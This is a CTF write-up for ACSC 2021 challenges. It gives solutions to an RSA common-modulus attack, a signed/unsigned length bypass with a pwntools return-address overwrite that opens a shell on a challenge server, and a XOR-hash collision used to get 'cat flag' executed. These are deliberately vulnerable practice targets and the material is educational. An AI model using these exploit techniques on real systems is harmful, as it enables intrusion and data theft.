ACSC CTF Writeups (TWY)

1. welcome
2. RSA stream
3. filtered
4. Wonderful Hash
5. Swap on Curve
6. Pickle Rick
7. Two Rabin
8. CBCBC

welcome (warmup) (Score: 1, 429 Solves)

Solution

Keyword search ACSC in discord and check the oldest messages.

Flag: ACSC{welcome_to_ACSC_2021!}

RSA stream (crypto) (Score: 100, 121 Solves)

Source (chal.py)

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

Analysis

The script encrpyts itself, and the encryption result is saved to chal.enc.

1. Block size is 256 with padding.
2. The ciphertext of m (the flag) is xor-ed with the content of each block.
3. The modulus, n, and the flag, m, do not change, but the exponent changes per block. (To the next prime)

Solution

Since the encryption result is only xor-ed with the ciphertext, so we can recover the ciphertexts by applying exclusive-or again.

# helper functions
reduce = lambda func, lst, init: func(lst[0], reduce(func, lst[1:], init)) if len(lst) else init
xor = lambda *a: bytes([reduce(lambda a, b: a ^ b, at, 0) for at in zip(*a)])


src1 = pad(open("chal.py", "rb").read(), 256)
src2 = open("chal.enc", "rb").read()
ciphertext = xor(src1, src2)
cipher1 = ciphertext[:256]
cipher2 = ciphertext[256:512]
cipher3 = ciphertext[512:]

Notice that the 3 exponents used are 65537, next_prime(65537), and next_prime(next_prime(65537))

Therefore,

$$\begin{gathered} \text{cipher1}=m^{65537}modn \\ \text{cipher2}=m^{65539}modn \\ \text{cipher3}=m^{65543}modn \end{gathered}$$

Relabelling:

c65537 = ciphertext[:256]
c65539 = ciphertext[256:512]
c65543 = ciphertext[512:]

By applying common modulus attack,

$$m^{2}modn=(\text{c65539}\times {\text{c65537}}^{-1})modn$$

c2 = (c65539 * pow(c65537, -1, n))%n

$$mmodn=(\text{c65537}\times {\text{c2}}^{-32768})modn$$

c = (c65537 * pow(c2, -32768, n))%n
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(c))

Output:

b'ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e'

Flag: ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}

filtered (pwn) (Score: 100, 168 Solves)

Source (filtered.c)

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

/* Print `msg` */
void print(const char *msg) {
  write(1, msg, strlen(msg));
}

/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
  char c;
  print(msg);
  for (size_t i = 0; i < size; i++) {
    if (read(0, &c, 1) <= 0) {
      print("I/O Error\n");
      exit(1);
    } else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else {
      buf[i] = c;
    }
  }
}

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

Analysis

The program ask for the length of the data, then ask for the data and quit.

The target is to call the function win.

Solution

Notice that length is in int type that is later passed into readline as the third argument, which is in size_t type (usually unsigned).

Therefore, length as size_t can be greater than 0x100 by specifying a negative integer (like -1).

As the program does not use something like ASLR (address space layout randomization), we can effectively obtain the address to win (0x4011d6) by checking gdb or any decompiler.

We can lazily append the address several times without finding out the actual return address.

pwntools solving script:

from pwn import *
r = remote("filtered.chal.acsc.asia", 9001, level="debug")

r.recvuntil("Size: ")
r.sendline("-1")
r.recvuntil("Data: ")
r.sendline(b"A" * 256 + p64(0x4011d6) * 16) # 4 instead of 16 is enough

r.interactive()

Output:

[+] Opening connection to filtered.chal.acsc.asia on port 9001: Done
[*] Switching to interactive mode
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat fl*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
$

Flag: ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

Wonderful Hash (crypto) (Score: 340, 11 Solves)

Source (chall.py)

import os
import string
from Crypto.Cipher import AES, ARC4, DES

BLOCK = 16


def bxor(a, b):
  res = [c1 ^ c2 for (c1, c2) in zip(a, b)]
  return bytes(res)


def block_hash(data):
  data = AES.new(data, AES.MODE_ECB).encrypt(b"\x00" * AES.block_size)
  data = ARC4.new(data).encrypt(b"\x00" * DES.key_size)
  data = DES.new(data, DES.MODE_ECB).encrypt(b"\x00" * DES.block_size)
  return data[:-2]


def hash(data):
  length = len(data)
  if length % BLOCK != 0:
    pad_len = BLOCK - length % BLOCK
    data += bytes([pad_len] * pad_len)
    length += pad_len
  block_cnt = length // BLOCK
  blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
  res = b"\x00" * BLOCK
  for block in blocks:
    res = bxor(res, block_hash(block))
  return res


def check(cmd, new_cmd):
  if len(cmd) != len(new_cmd):
    return False
  if hash(cmd) != hash(new_cmd):
    return False
  for c in new_cmd:
    if chr(c) not in string.printable:
      return False
  return True


cmd = (b"echo 'There are a lot of Capture The Flag (CTF) competitions in "
       b"our days, some of them have excelent tasks, but in most cases "
       b"they're forgotten just after the CTF finished. We decided to make"
       b" some kind of CTF archive and of course, it'll be too boring to "
       b"have just an archive, so we made a place, where you can get some "
       b"another CTF-related info - current overall Capture The Flag team "
       b"rating, per-team statistics etc'")


def menu():
  print("[S]tore command")
  print("[E]xecute command")
  print("[F]iles")
  print("[L]eave")
  return input("> ")


while True:
  choice = menu()
  if choice[0] == "S":
    new_cmd = input().encode()
    if check(cmd, new_cmd):
      cmd = new_cmd
    else:
      print("Oops!")
      exit(1)
  elif choice[0] == "E":
    os.system(cmd)
  elif choice[0] == "F":
    os.system(b"ls")
  elif choice[0] == "L":
    break
  else:
    print("Command Unsupported")
    exit(1)

Analysis

The service provides 3 options:

1. F for listing files in the directory (can confirm that flag is there)
2. E for executing the command as stored in cmd.
3. S for modifying the content of cmd.
   • It is only possible if the cmd has the same length and hash as the original command.

The block hash (48 bits) is calculated as the encryption result of some not important here encryption methods, (AES, ARC4, and DES), and the hash is the xor result of all the block hashes.

Solution

(Should be Unintended)

Since the hash is 48 bit as below:

000101010010110100011000110100111110110110010011

when we have at least 48 different hashes on hand and the rank is at least 48 in modulo 2, then we can solve whether to include any of the hashes like a linear equation system of 48 unknowns modulo 2. Assuming the distribution of the bits is random, then we expect that on average 24 of them will be of value 1, which indicates that the hash is used.

Since the original cmd has 27 blocks, where the last block only has 1 data byte and 16 padding bytes, we can fix the last two blocks as something like

echo '          '

, then we still have 25 blocks left.
If we can find a combination resulting in the same hash within 25 blocks, and the count is odd, then we can append the same block repeatedly until there are 25 blocks, since 2 same blocks have hashes cancelled out due to xor operation.

From S we know that the flag is stored in flag, therefore we can use cat flag; as the payload to print the flag, notice that the length of the payload is 9, so we can append 7 spaces to make the length 16. There are 4 places to insert the spaces, which are

[1]cat [2]flag[3];[4]

In total there are

$C_3^{7+3}=120$ possible combinations.

# helper function
def bytes2bin(a):
    tmp = ""
    for i in a:
        tmp += bin(i)[2:].zfill(8)
    return tmp

    
blocksv = [b" " * i + b"cat " + b" " * j + b"flag" + b" " * k + b";" + b" " * (7 - i - j - k) for i in range(8) for j in range(8 - i) for k in range(8 - i - j)]
blocks = [bytes2bin(block_hash(x)) for x in blocksv]

We can then obtain the target xor result first:

# helper function
def bitxor(a, b):
    return "".join(["0" if at == bt else "1" for at, bt in zip(a, b)])
    
    
fixed_blocks = [b"echo '          ", b"'" + b"\x0f" * 15]
initial = "0" * BLOCK * 8
for block in fixed_blocks:
    initial = bitxor(initial, bytes2bin(block_hash(block)))
target = bitxor(target, initial)

Now we can apply the elimination-like method to obtain an independent combination for each bit.

# helper function
def xorarray(a, b):
    m = max(a + b)
    return [i for i in range(m+1) if (i in a and i not in b) or (i not in a and i in b)]
    
    
mem = [(b, [i]) for i, b in enumerate(blocks)]
used = []

# elimination
for i in range(48):
    mem = sorted(mem, reverse=True)
    assert mem[i][0][i] == "1"
    for j in range(i + 1, len(mem)):
        if mem[j][0][i] == "1":
            mem[j] = (bitxor(mem[i][0], mem[j][0]), xorarray(mem[i][1], mem[j][1]))
        else:
            break
for i in range(47,-1,-1):
    for j in range(i):
        if mem[j][0][i] == "1":
            mem[j] = (bitxor(mem[i][0], mem[j][0]), xorarray(mem[i][1], mem[j][1]))
            

# build the component list from the target
for i in range(48):
    if target[i] == "1":
        target, used = bitxor(target, mem[i][0]), xorarray(used, mem[i][1])
        

# if it is too long or the parity is incorrect, then use remaining 0-blocks to fill it up
while len(used) > 26 or (len(used) ^ 27 ^ len(fixed_blocks)) % 2:
    print(used)
    i = random.randrange(48, len(mem))
    target, used = bitxor(target, mem[i][0]), xorarray(used, mem[i][1])
    

# parity is correct now, so we append the same block until the desired length matches
while len(used) < 27 - 2:
    used += [0, 0]
result = "".join(blocksv[x].decode() for x in used) + "".join(x.decode() for x in fixed_blocks[:-1]) + "'"


# output the payload
print(result)

Sample outputs:

cat flag   ;    cat flag      ; cat   flag    ; cat    flag ;   cat    flag   ; cat     flag  ; cat      flag;   cat flag  ;     cat flag     ;  cat  flag   ;   cat   flag;     cat    flag;    cat     flag ;   cat flag;       cat  flag ;      cat flag;       cat  flag;      cat  flag ;     cat   flag ;    cat    flag;     cat flag;       cat  flag;       cat flag;  cat flag;       cat flag;       echo '          '

cat flag     ;  cat  flag ;     cat    flag;    cat    flag ;   cat    flag   ; cat     flag;    cat  flag;      cat   flag  ;   cat    flag  ;   cat flag  ;     cat flag     ;  cat   flag;      cat flag   ;    cat  flag;      cat    flag ;    cat flag;        cat   flag;cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       echo '          '

cat flag;       cat flag  ;     cat flag    ;   cat flag       ;cat  flag   ;   cat  flag     ; cat  flag      ;cat   flag;     cat   flag ;    cat   flag    ; cat    flag   ; cat     flag;   cat     flag  ; cat      flag;  cat      flag ; cat       flag ; cat flag ;      cat flag  ;     cat flag   ;    cat flag      ; cat  flag;      cat  flag ;     cat  flag  ;    cat  flag    ;  cat   flag;    echo '          '

Submission:

$ nc wonderful-hash.chal.acsc.asia 10217
== proof-of-work: disabled ==
[S]tore command
[E]xecute command
[F]iles
[L]eave
> S
cat flag;       cat flag  ;     cat flag    ;   cat flag       ;cat  flag   ;   cat  flag     ; cat  flag      ;cat   flag;     cat   flag ;    cat   flag    ; cat    flag   ; cat     flag;   cat     flag  ; cat      flag;  cat      flag ; cat       flag ; cat flag ;      cat flag  ;     cat flag   ;    cat flag      ; cat  flag;      cat  flag ;     cat  flag  ;    cat  flag    ;  cat   flag;    echo '          '
[S]tore command
[E]xecute command
[F]iles
[L]eave
> E
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}

[S]tore command
[E]xecute command
[F]iles
[L]eave
> L

Flag: ACSC{M1Tm_i5_FunNY_But_Painfu1}

Notes

The length growth rate of the component list is not too large, so even when we use all 120 hashes, the resulting used blocks is surprisingly only 17 blocks:

Original hash list:

('010010100011001110010000010100000100110100010000', [0])
('011000010100000000010101101100011101011110101000', [1])
('010010010000110100110011010010111000001011111101', [2])
('110100111010001001100100101100110001011100100010', [3])
('110100111100101111111101110100100001100110010100', [4])
('000011101000110111110101101000110010010011000000', [5])
('001110100101111010001111000000101101111011111100', [6])
('111110011100100010100000001010010001111100001010', [7])
('000001011011110110111011010001111101000100100110', [8])
('011001101101100111111100000001000111101010000011', [9])
('011111011101100010101101001101111100011000100101', [10])
('110000110100010001000101011011101111111011101101', [11])
('101011011010000000111011010010001001011111110110', [12])
('001110100010010011000110111010010001001001001001', [13])
('001010011110011000010000000001010010001110111110', [14])
('110000010111001010010001001100010101100010110101', [15])
('010100010101101100001001011001010000100001110000', [16])
('010111010011101010010010100010000110011100100010', [17])
('010011101000100100101000101110110100100111110001', [18])
('001010111110110001111000011110010101010001010100', [19])
('111010110100110101011010101101111100110001111001', [20])
('101010101000010111111100010001001011010101110110', [21])
('110000000100000100111110101101001110010010010010', [22])
('001000001000000110011101100001100001101110011111', [23])
('011010001101011110011110010101101001000101011111', [24])
('111010000001110110001111100001101100111100000001', [25])
('100110000010010101110111110011011010110101001111', [26])
('101010101101111001111110010100001110010000001111', [27])
('101101001011001100101011001010100100001000011001', [28])
('011000011101001001011001101010110100110100101001', [29])
('110001111110110101010101011101011111011010110000', [30])
('110100110111011111011111100010011110101000000100', [31])
('100010011100001001110001101000100011110010010011', [32])
('000111010111001111111011111011001001010010101010', [33])
('011110111001011010010010110011001110010100011101', [34])
('010000100110101110011010111100111001010100000110', [35])
('000011000110101000100011000010010000011100011010', [36])
('101000001111110101000000010000011101001011101110', [37])
('000110011000000000010011110000011000000011111110', [38])
('111110001001111111001100100101111100011111111110', [39])
('010100100011111101111101101110000000011101011010', [40])
('001101011100101000001011011110000011000011010011', [41])
('000001011001110010000101110000010000000100110110', [42])
('101011010010110110010100001101001110110101011011', [43])
('001100111100101111100111110011010100010011011110', [44])
('011101010101001110110010111010011000101000101011', [45])
('111111110111011110011000011100101011000100100001', [46])
('001001100010001110011101001001001110011011001101', [47])
('010011011011000000001110111100101101101001000000', [48])
('111110001001000111010001101000010101010001010101', [49])
('101010110111111000011100010001110011000100000110', [50])
('101001100100110111100010100010111101011100111101', [51])
('010010110011110110001010000101110011110001101101', [52])
('001011111000111100011011010000101011010010000010', [53])
('001000011100001010111100111100010100011001000100', [54])
('101110000000001010110101111110101111111010111010', [55])
('010011010011111000100110111100000100101011101101', [56])
('110110110011110101111111010100111101010000011001', [57])
('011101011011000011010101011000000111001101001011', [58])
('100000011110101011011101110010011100000000010101', [59])
('111101000011100111110100110101000110001100001000', [60])
('011110100100111110011101010010101100110001101110', [61])
('110101011111010011011111011100010110100000000001', [62])
('010011000100011101000000001101001100001100101101', [63])
('011000011101101110100000111101001011110000000001', [64])
('001011110110000001101110001011110110001010010010', [65])
('000011111011010101010110000100011001100001011010', [66])
('000001001100011010001000101101111100111011100011', [67])
('011011110110111110111001011011111010001110001110', [68])
('011111011111100000110101000000100101111110001101', [69])
('100101000000011101100011111001111010110111000001', [70])
('111001000001000111110111111000111100111100000001', [71])
('001000011110110010001010000000111100000101111110', [72])
('100111011100010101100011101111010110101001100000', [73])
('000010111101011011100101111000100110001011101111', [74])
('101001011101010011100000000101000011101010100001', [75])
('000110111110101100001101010011100000101101001101', [76])
('111001010000110110111100010011010110110000001111', [77])
('010101100110011111001011111111100100110100011101', [78])
('011100101001001001111000100011100000110101011111', [79])
('110111101010100101011010010010110001111110010000', [80])
('110011001110001001000001111010010001011110110010', [81])
('101101010001101111110001000000101101001010000110', [82])
('100001110000100001000100100011111000001010000111', [83])
('100000100110110111100001110101010111001111011101', [84])
('000001000001011111110111110111101011011100110010', [85])
('000100001010110000110101011010110101000011001000', [86])
('001111010110001110111010111001100111100101100110', [87])
('100000111111011000101100100011101100010010001001', [88])
('100010100001100001011110011001001000001110110000', [89])
('110010111101101110010010010011001111110110100011', [90])
('000001111011111000101010000001110100100101110101', [91])
('000000111001101001101110010110100010011101111100', [92])
('100100010000011111100010011100011111100000111100', [93])
('101110001010111110111010001001010111011100110110', [94])
('111011011100001100101100000010101110000001100010', [95])
('110101110000110101111001001011000111010100001100', [96])
('001110110000000000110001000010010000001001001100', [97])
('110110111101110001100000100000001000101010001111', [98])
('111001110101110101101010111101011100000110111111', [99])
('001010111000000010001110101101011001000011101101', [100])
('101111001111000111011010010011111101010110011000', [101])
('101110111111010101110010000110101100100111100110', [102])
('100101110000110010110000110001101100101011001001', [103])
('000011100000010001110000111011001010010111101011', [104])
('011110010011111010111001101001011100000000010010', [105])
('011101111100010101111001110010001100100111001001', [106])
('010000000010100010110000101110111111110000000101', [107])
('010101000000011101010111001000111011001110000110', [108])
('010000010000110010111101101001111001000111001001', [109])
('001101001110100101000110011100101010100010011100', [110])
('110111110010101011001111011110100101100001111111', [111])
('010100010010111111100111110001000001011101010111', [112])
('011011011000011101010111111100101000010011011100', [113])
('101011011010011001000111000001101111111101101110', [114])
('110000111001111001100001111111100001110110110100', [115])
('001010010100111001110001111001100100010110110011', [116])
('101111101000000011011101000011110001110111100011', [117])
('000110110001011100111111100000000001001111011101', [118])
('100011000101010010011101110011111101010101000010', [119])

Reduced hash list:

('100000000000000000000000000000000000000000000000', [1, 5, 7, 9, 10, 13, 16, 17, 24, 26, 29, 34, 40, 58, 82, 90, 98, 100, 104, 110, 112, 114, 117])
('010000000000000000000000000000000000000000000000', [1, 5, 9, 16, 17, 20, 24, 26, 28, 34, 51, 56, 59, 75, 82, 97, 106, 107, 109, 110, 112, 115])
('001000000000000000000000000000000000000000000000', [2, 3, 5, 7, 13, 16, 20, 22, 24, 26, 27, 34, 43, 46, 59, 75, 81, 88, 93, 97, 98, 100, 104, 109])
('000100000000000000000000000000000000000000000000', [5, 9, 10, 13, 17, 22, 28, 46, 51, 56, 58, 59, 69, 93, 97, 98, 100, 106, 110, 112, 115])
('000010000000000000000000000000000000000000000000', [2, 9, 10, 13, 16, 22, 24, 29, 43, 51, 56, 59, 81, 97, 106, 107, 109, 117])
('000001000000000000000000000000000000000000000000', [1, 2, 7, 13, 17, 20, 21, 24, 26, 29, 34, 40, 43, 46, 51, 57, 59, 69, 75, 81, 88, 90, 97, 100, 104, 106, 114, 115, 117])
('000000100000000000000000000000000000000000000000', [1, 3, 5, 7, 9, 16, 17, 20, 21, 22, 24, 27, 28, 29, 34, 43, 51, 56, 59, 69, 75, 81, 82, 88, 93, 97, 100, 106, 109, 112, 115])
('000000010000000000000000000000000000000000000000', [1, 2, 3, 5, 10, 17, 21, 22, 24, 27, 28, 29, 41, 51, 58, 66, 90, 97, 98, 100, 106, 109, 110, 112, 114, 117])
('000000001000000000000000000000000000000000000000', [1, 2, 3, 5, 7, 9, 13, 17, 20, 27, 28, 43, 46, 51, 56, 57, 59, 81, 82, 88, 90, 93, 98, 104, 114, 115])
('000000000100000000000000000000000000000000000000', [1, 5, 17, 20, 21, 22, 26, 28, 29, 41, 59, 66, 69, 81, 82, 88, 97, 100, 106, 109, 110, 114, 115, 117])
('000000000010000000000000000000000000000000000000', [1, 2, 5, 9, 10, 13, 17, 20, 21, 24, 26, 27, 43, 51, 57, 81, 90, 93, 97, 100, 104, 107, 109, 110, 112, 115, 117])
('000000000001000000000000000000000000000000000000', [2, 5, 7, 9, 10, 13, 16, 22, 27, 34, 40, 41, 43, 58, 59, 69, 82, 88, 90, 93, 97, 106, 107, 112, 114])
('000000000000100000000000000000000000000000000000', [2, 3, 5, 9, 20, 22, 24, 28, 34, 43, 46, 57, 58, 59, 90, 93, 97, 98, 100, 106, 107, 109, 110, 114, 115, 117])
('000000000000010000000000000000000000000000000000', [5, 10, 22, 26, 29, 41, 46, 51, 57, 75, 82, 100, 104, 106, 107, 109, 117])
('000000000000001000000000000000000000000000000000', [2, 7, 10, 16, 17, 20, 22, 28, 29, 34, 46, 51, 59, 66, 88, 90, 93, 97, 98, 100, 106, 107, 109, 110, 115])
('000000000000000100000000000000000000000000000000', [1, 7, 9, 10, 13, 16, 17, 21, 28, 29, 34, 41, 43, 46, 51, 56, 57, 59, 66, 69, 81, 93, 98, 100, 104, 109, 110, 115])
('000000000000000010000000000000000000000000000000', [1, 5, 7, 9, 10, 13, 17, 20, 27, 28, 46, 57, 59, 66, 81, 82, 88, 93, 98, 104, 106, 107, 109, 115, 117])
('000000000000000001000000000000000000000000000000', [2, 9, 10, 20, 22, 24, 34, 40, 43, 56, 57, 69, 75, 88, 93, 97, 104, 112, 114])
('000000000000000000100000000000000000000000000000', [5, 20, 21, 22, 24, 26, 27, 28, 29, 34, 41, 46, 56, 57, 59, 66, 69, 88, 93, 97, 98, 107, 109, 110, 114, 117])
('000000000000000000010000000000000000000000000000', [7, 10, 13, 16, 17, 24, 26, 27, 34, 46, 51, 58, 69, 82, 93, 98, 100, 104, 106, 107, 109, 114, 115])
('000000000000000000001000000000000000000000000000', [1, 9, 16, 17, 20, 28, 29, 40, 41, 43, 46, 51, 57, 59, 66, 90, 93, 98, 100, 109, 110, 112, 115, 117])
('000000000000000000000100000000000000000000000000', [1, 3, 5, 7, 9, 13, 17, 20, 22, 24, 26, 27, 29, 34, 40, 41, 51, 57, 59, 69, 75, 81, 88, 93, 98, 100, 106, 107, 109, 110])
('000000000000000000000010000000000000000000000000', [1, 2, 3, 5, 10, 13, 20, 21, 22, 26, 28, 43, 51, 56, 59, 66, 75, 81, 82, 97, 98, 104, 107, 109, 110, 114, 115, 117])
('000000000000000000000001000000000000000000000000', [1, 2, 3, 7, 10, 13, 16, 17, 24, 26, 27, 28, 29, 41, 46, 69, 75, 82, 88, 90, 98, 104, 106, 107, 109, 110, 117])
('000000000000000000000000100000000000000000000000', [1, 5, 7, 9, 10, 13, 16, 21, 28, 29, 34, 40, 41, 46, 57, 58, 59, 75, 88, 90, 100, 107, 109, 112, 115])
('000000000000000000000000010000000000000000000000', [2, 5, 10, 13, 20, 21, 22, 26, 27, 28, 29, 46, 56, 59, 69, 75, 97, 98, 106, 107, 110, 114, 115])
('000000000000000000000000001000000000000000000000', [1, 2, 5, 10, 13, 16, 21, 24, 26, 34, 46, 57, 66, 75, 90, 97, 100, 104, 109, 110, 112, 114, 115])
('000000000000000000000000000100000000000000000000', [1, 3, 9, 16, 21, 22, 26, 27, 40, 43, 46, 56, 57, 58, 59, 81, 82, 88, 90, 104, 107, 109, 112, 114, 115, 117])
('000000000000000000000000000010000000000000000000', [2, 5, 7, 13, 20, 24, 28, 40, 43, 66, 69, 82, 88, 90, 93, 106, 107, 110, 112])
('000000000000000000000000000001000000000000000000', [1, 2, 7, 9, 13, 16, 17, 20, 22, 26, 27, 28, 41, 46, 57, 69, 75, 81, 82, 88, 90, 93, 98, 100, 110, 112, 114, 115, 117])
('000000000000000000000000000000100000000000000000', [3, 10, 13, 16, 20, 24, 27, 29, 34, 40, 41, 43, 46, 57, 58, 66, 69, 75, 82, 88, 90, 93, 97, 106, 109, 110, 112, 117])
('000000000000000000000000000000010000000000000000', [2, 3, 5, 17, 21, 24, 27, 34, 57, 69, 75, 82, 93, 97, 100, 106, 109, 110, 112, 117])
('000000000000000000000000000000001000000000000000', [2, 3, 7, 10, 22, 24, 26, 27, 28, 29, 34, 40, 41, 43, 46, 51, 57, 58, 59, 69, 82, 88, 90, 93, 104, 106, 107, 117])
('000000000000000000000000000000000100000000000000', [1, 5, 9, 10, 13, 16, 20, 21, 22, 24, 28, 40, 41, 43, 46, 51, 57, 69, 75, 81, 88, 93, 98, 104, 106, 109, 112, 117])
('000000000000000000000000000000000010000000000000', [2, 5, 16, 22, 24, 26, 27, 28, 34, 58, 69, 75, 81, 82, 88, 90, 93, 98, 100, 117])
('000000000000000000000000000000000001000000000000', [2, 3, 7, 9, 13, 17, 22, 24, 26, 27, 28, 29, 34, 40, 41, 56, 58, 59, 88, 97, 100, 109, 110, 114, 115])
('000000000000000000000000000000000000100000000000', [2, 5, 9, 16, 17, 22, 34, 40, 41, 51, 56, 69, 75, 88, 90, 106, 107, 109, 112, 114])
('000000000000000000000000000000000000010000000000', [1, 2, 3, 9, 10, 16, 20, 26, 27, 29, 34, 57, 59, 69, 81, 90, 93, 97, 104, 106, 112, 114, 115, 117])
('000000000000000000000000000000000000001000000000', [1, 2, 3, 16, 21, 22, 24, 28, 29, 40, 41, 46, 51, 82, 88, 106, 107, 112, 114, 117])
('000000000000000000000000000000000000000100000000', [1, 17, 22, 24, 26, 28, 40, 41, 69, 81, 88, 90, 97, 98, 104, 110, 112, 114])
('000000000000000000000000000000000000000010000000', [2, 3, 5, 7, 9, 10, 20, 21, 26, 27, 28, 34, 40, 41, 43, 51, 59, 75, 81, 88, 93, 100, 106])
('000000000000000000000000000000000000000001000000', [2, 3, 5, 9, 13, 17, 20, 24, 29, 34, 43, 51, 58, 66, 82, 90, 98, 106, 107, 112, 117])
('000000000000000000000000000000000000000000100000', [1, 3, 7, 9, 10, 16, 17, 20, 27, 34, 40, 41, 51, 56, 57, 58, 59, 69, 81, 82, 93, 97, 100, 107])
('000000000000000000000000000000000000000000010000', [1, 2, 5, 10, 16, 17, 20, 22, 24, 27, 28, 41, 43, 46, 51, 57, 66, 75, 93, 97, 100, 104, 107, 109, 110])
('000000000000000000000000000000000000000000001000', [7, 9, 16, 21, 24, 26, 28, 29, 43, 46, 51, 57, 58, 59, 66, 75, 81, 82, 93, 98, 100, 104, 107, 109, 110, 114, 117])
('000000000000000000000000000000000000000000000100', [3, 9, 10, 13, 16, 17, 20, 22, 26, 27, 46, 57, 58, 66, 69, 75, 100, 109, 110, 112, 114, 115])
('000000000000000000000000000000000000000000000010', [9, 10, 13, 16, 17, 20, 21, 22, 28, 29, 41, 46, 56, 66, 82, 90, 97, 107, 109, 110, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000001', [9, 16, 21, 22, 24, 26, 34, 41, 43, 46, 56, 57, 58, 59, 69, 75, 82, 88, 90, 97, 100, 106, 109, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [5, 7, 9, 10, 13, 16, 17, 20, 21, 22, 24, 27, 43, 51, 57, 66, 69, 75, 81, 83, 90, 97, 98, 107, 117])
('000000000000000000000000000000000000000000000000', [5, 7, 13, 16, 17, 20, 22, 28, 29, 51, 54, 66, 69, 88, 90, 93, 97, 100, 109, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [3, 5, 9, 10, 13, 16, 17, 20, 28, 43, 57, 66, 69, 88, 90, 92, 98, 100, 109, 112])
('000000000000000000000000000000000000000000000000', [3, 5, 7, 9, 16, 20, 21, 22, 27, 28, 34, 43, 44, 46, 51, 56, 57, 58, 59, 66, 69, 75, 81, 88, 90, 93, 97, 98, 104, 109, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [2, 9, 10, 22, 24, 29, 34, 40, 59, 75, 84, 90, 98, 100, 106, 107, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 9, 10, 17, 20, 21, 26, 27, 29, 34, 39, 51, 56, 59, 90, 93, 97, 98, 100, 106, 107, 109, 114, 117])
